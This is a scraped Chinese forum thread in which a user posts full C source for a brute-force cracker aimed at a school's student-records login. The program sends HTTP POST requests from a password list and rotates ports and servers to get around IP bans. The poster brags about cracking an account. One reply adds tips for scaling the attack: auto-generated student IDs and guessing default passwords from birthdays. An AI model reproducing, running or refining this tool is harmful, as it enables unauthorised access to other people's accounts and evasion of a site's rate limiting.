首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C语言 >

这是小弟我写的暴破web密码c源代码,产生自卑感了吗

2014-01-22 
这是我写的暴破web密码c源代码,产生自卑感了吗?取这么欠扁的标题,的确是吸引人点击只用,望不要怀着一腔怒

这是我写的暴破web密码c源代码,产生自卑感了吗?
取这么欠扁的标题,的确是吸引人点击只用,望不要怀着一腔怒火与不屑,看完以下内容。
只见用c编个游戏拿出来晒的,不见其他让人兴奋的。。。
于是,自从坛友无私提供了c++的发包代码后,以我的c语言水平写成了这么个玩意。
暴破学校教务系统密码,幸好系统老,赶上现在这么个验证码横行的年头,我就不好做事了。
网速好的情况下一秒钟能尝试600个密码。

//Let's hack it
#include <stdio.h>
#include "winsock2.h"
#include"time.h"
#pragma comment(lib, "ws2_32.lib")
static FILE * fp=NULL;
long ftc=0;
long rftc=ftc;
long st;
long fi;
long qcut;
long qcat;
long jis=0;
void gotoxy(int x,int y)
{
int xx=0x0b;
HANDLE hOutput;
COORD loc;
loc.X=x;
loc.Y=y;
hOutput=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(hOutput,loc);
return;
}

int post(char *pg,char *pw,char*gmurl,int gmport){
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR ){
printf("Error at WSAStartup()\n");
}

// Create a socket.
SOCKET m_socket;
m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( m_socket == INVALID_SOCKET ) {
printf( "Error at socket(): %ld\n", WSAGetLastError() );
WSACleanup();

}
// Connect to a server.
struct sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(gmurl);
clientService.sin_port = htons( gmport );
if ( connect( m_socket, (SOCKADDR*) &clientService, sizeof(SOCKADDR)) == SOCKET_ERROR){
gotoxy(26,3);printf("%-5d",ftc++);
WSACleanup();

}

int bytesRecv;
char recvbuf[1024];

send( m_socket, pg, strlen(pg), 0 );
 bytesRecv = recv(m_socket, recvbuf,1024 , 0);
        recvbuf[bytesRecv+1] = 0;
fi=clock();


gotoxy(13,0);printf("%8ld",jis);
gotoxy(13,1);printf("%8.2f",(float)(fi-st)/CLOCKS_PER_SEC);
gotoxy(13,2);printf("%8.f",jis/((float)(fi-st)/CLOCKS_PER_SEC));


if(strlen(recvbuf)>1000)
{gotoxy(0,8);printf("                                 ");printf("\nFound password:%s\n\n\n\n\n\n\n",pw);system("del userID");system("pause");fclose(fp);exit(0);}

jis++;
closesocket(m_socket);
return 0;

}
int paus()//2 minutes
{
 long zt1=clock();
 long zt2;
while(1)
{zt2=clock();
if(((float)(zt2-zt1)/CLOCKS_PER_SEC)>120.0)
return 0;
}

return 0;}
int main()
{
system("title=学生系统密码暴力破解程序 Powered by c语言 Copyright:动后河");
int i=0;
int switchnum=0;
char * gmurl1="";
char * gmurl2="";
int port1=80;
int port2=83;
int port3=80;
char stl[4];
char pw[50];
char ui[17];
int nos=0;
FILE * flag=fopen("1.1","r");

if(!flag)
{char mw[50];
int mw1;
FILE* userID=fopen("userID","w");

puts("暴力破解学生系统密码");
printf("输入要暴破密码的学号:");
gets(ui);
if(strlen(ui)!=9)
{puts("你输入的不是形如""的学号,你确定?");system("pause");}

fprintf(userID,"%s\n",ui);
fclose(userID);
flag=fopen("1.1","w");
printf("Input number of threads[this is artificial multithread:)]  :");
scanf("%d",&mw1);
sprintf(mw,"for /L %s%si in (1,1,%d) do @start 扬大学系暴破.exe","%%","%%",mw1);
FILE * bat=fopen("multi.bat","w");
fprintf(bat,mw);
fclose(bat);
fclose(flag);
system("multi.bat");
system("del multi.bat");
}
else
fclose(flag);



FILE * ReadId=fopen("userId","r");
if(ReadId==0)puts("Creat file :userId wrong!");

fscanf(ReadId,"%s",ui);
fclose(ReadId);
fflush(stdin);

char pafi[12];
printf("Input password file (for example:pw.txt ) :");
gets(pafi);
system("cls");
if((fp=fopen(pafi,"r"))==0)
{system("cls");puts("No that file!");system("pause");exit(1);}
qcat=qcut=st=clock();
char pg[1025];
printf("Have tried               passwds\nUsed time is             s\nSpeed is                 passwords/s\nNum of Failed to Connect: %d\nPassword File you chosen is: %s\nUserId you Inputed: :%s\n",0,pafi,ui);
puts("\n\npassword still not found!");

if((flag=fopen("1.1","r")))
{fclose(flag);system("del 1.1");}

while(1){
while((pw[i++]=getc(fp))!='\n');
pw[i-1]=0;i=0;
if(!strcmp(pw,"$"))
{fi=clock();
system("cls");
printf("Have tried   %8ld    passwds\nUsed time is %8.2f    s\nSpeed is     %8.f    passwords/s\n",jis,(float)(fi-st)/CLOCKS_PER_SEC,jis/((float)(fi-st)/CLOCKS_PER_SEC));


puts("password not found in this FIle!");system("del userID");fclose(fp);system("pause");return 1;}
 
sprintf(stl,"%d",strlen(pw)+17+strlen(ui));
qcat=clock();
if(ftc!=rftc)
{rftc=ftc;
if((1/((float)(qcat-qcut)/CLOCKS_PER_SEC))>20.0)  
switchnum++,nos++;
if(switchnum>4)switchnum=0;
switch(switchnum)
{
case 0:gotoxy(0,7);printf("Switch url: port:");break;
case 1:gotoxy(0,7);printf("Switch url: port:");break;
case 2:gotoxy(0,7);printf("Switch url:  port:80");break;
case 3:gotoxy(0,7);printf("Switch url:  port:80");break;
case 4:gotoxy(0,7);printf("Switch url:  port:80");break;
}
if(nos%10==0)
{gotoxy(0,8);printf("Not access,will continue after 2 minutes");paus();gotoxy(0,8);printf("                                                ");}
}
qcut=qcat;
sprintf(pg,"POST sp HTTP/1.1\r\n"//wo zhe
   "Host:\r\n"//
   "Proxy-Connection: keep-alive\r\n"
   "Content-Length: %s\r\n"
   "Cache-Control: max-age=0\r\n"
   "Accept: \r\n"
"Origin: \r\n"//
"User-Agent:\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Referer:\r\n"//
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: zh-CN,zh;q=0.8\r\n"
"Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3\r\n"
"Cookie: JSESSIONID=\r\n\r\n"
"userId=%s&userPass=%s",stl,ui,pw);

switch(switchnum){
case 0:post(pg,pw,gmurl1,port1);break;
case 1:post(pg,pw,gmurl1,port2);break;
case 2:post(pg,pw,gmurl1,port3);break;
case 3:post(pg,pw,gmurl2,port1);break;
case 4:post(pg,pw,gmurl2,port2);break;
default: puts("switch wrong!");}
}

system("pause");
return 0;
}


遮掉和去除了一点敏感信息,相信坛友能理解。
这是效果图:
遮掉了一部分
这是小弟我写的暴破web密码c源代码,产生自卑感了吗
速度大约尝试600个密码每秒
单一端口再尝试暴破几千个后会封ip四分钟
所以加入个切换端口,并且有两个服务器可选。
采用运行批处理,来打开多个窗口,这么样,实现多线程。
看图,十几秒试出那个帐号密码是:123456
而且,看那发送给失败的个数是0.
完。这是小弟我写的暴破web密码c源代码,产生自卑感了吗
[解决办法]
陷入的深深的自卑中
[解决办法]
没注释,没缩进这是小弟我写的暴破web密码c源代码,产生自卑感了吗
这是小弟我写的暴破web密码c源代码,产生自卑感了吗
[解决办法]
我年轻那会儿,大家都抱着dos内核分析这本书,我们当时有个协会。大家写的程序也大多是tsr程序,现在叫病毒吧。后来再也没写过。我坦白交代下这些年我用程序做的坏事儿。很多年前,我对启点读书网的等级着迷,我写了个perl的脚本去刷积分,达到了大恶魔级,后来被封了,我确实是恶魔。我在wow里写了个lua脚本,天天玩战场,所有的UT或YY团队都骂这家伙怎么总是出现,哇哈哈。继续wow继续lua,我写了差不多几千行的lua脚本,外面写了个外挂,去打boss。猫德,每次我一身垃圾装备进去跟人彪dps,然后在YY里吹嘘自己的技术,嘎嘎。每次,我的任务就是跑好位,蹲在boss的屁股后面。我没传播,我差不多干了2年这种无耻的事情,没被发现,OY。我想想,我还干过什么无耻的事情?我儿子最近学英语,我希望用英语考他的书写。当时,我好像用个很傻缺的语言,flash air在google的官网上下载了很多的语音。后来我发现自己很傻缺,那个你敲点啥进去都能发音,不过确实挺准的。哈哈。娱乐我觉得挺有意思,不要危害他人。
[解决办法]
深深的汗言, 这是小弟我写的暴破web密码c源代码,产生自卑感了吗
[解决办法]
确实这是小弟我写的暴破web密码c源代码,产生自卑感了吗深深的汗言
[解决办法]
除了代码风格有点恶心外,

功能确认令人汗颜阿!这是小弟我写的暴破web密码c源代码,产生自卑感了吗
[解决办法]
Are you kidding me?
[解决办法]
LZ你又来调皮了。
[解决办法]
lz可以试试用多线程,10个线程,这个测试量我估计能快5倍,
我看你好象是输入一个uid,其实没必要,学校的uid都是有规律的,你可以自动生成,你们系统的密码一般也是系统有默认的方式,比如生日这种,你就根据uid应该可以推算出这个人的生日年代,然后最多测试366次,总有很多人不修改自己默认密码的,这样扫一天下来,命中率一定不少

热点排行